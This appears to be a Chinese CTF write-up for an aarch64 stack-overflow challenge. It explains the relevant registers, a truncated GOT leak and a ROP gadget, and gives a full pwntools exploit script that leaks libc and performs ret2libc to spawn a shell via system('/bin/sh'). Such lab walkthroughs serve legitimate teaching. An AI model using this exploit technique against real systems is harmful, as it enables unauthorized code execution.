有关知识

在aarch64中:

  • X29相当于rbp寄存器。
  • X30寄存器中保存程序的返回地址,当ret时,会将X30中的地址给PC寄存器。
  • 通过X0-X7寄存器传参。
  • ldr:Load Register(加载寄存器)
  • ldr x0, [sp, #0x18] 这条指令的含义是将栈指针 (sp) 加上偏移量 0x18 所指向的内存地址中的数据加载到寄存器 x0 中。
  • ldr x0, [sp], #0x18 这条指令的含义是将栈指针 (sp) 所指向的内存地址中的数据加载到寄存器 x0 中,然后将sp增加偏移量 0x18

本题泄露的got地址只有三字节,其实是“\x00”截断,需要我们加上0x4000000000。

分析

先泄露libc,再栈溢出ret2libc。

这里我们在ropper中找到一个gadget:
ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

思路:将/bin/sh传给X0,将system传给X30。
按照x64来说,我们会这样构造:prdi binsh system

但是这道题传参并不是紧紧邻接的。
我们调试一下看看参数写的位置:

停我们的gadget位置:

同理的可以找到system写的位置。

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="aarch64")
io = process(["qemu-aarch64", "-g", "12345","-L","./libc.so.6", "./pwn"])
# io = remote("node4.anna.nssctf.cn",28592)
# io = process("./pwn")
elf=ELF("./pwn")
libc=ELF('./libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
gd = lambda : gdb.attach(io)
r = lambda : io.recv()
rn = lambda x : io.recv(x)
rl = lambda : io.recvline()
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x, drop=True)
inter = lambda : io.interactive()
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')

def get_sb(libc_base) :
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def pwn():
pause()
p = p64(elf.got["puts"])
sla(b">", b"1")
sa(b"sensible>>", p)

ru(b"\n")
libc_base = u64(rn(3).ljust(8, b"\x00")) + 0x4000000000 - libc.sym['puts']
leak("libc_base", libc_base)
system, binsh = get_sb(libc_base)

sla(b">", b"2")
gadget = 0x0000000000063e5c + libc_base
# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
p = b"a"*136
p += p64(gadget)
p += p64(0)*3
p += p64(system)
p += p64(0)
p += p64(binsh)
sla(b"sensible>>", p)

inter()
pwn()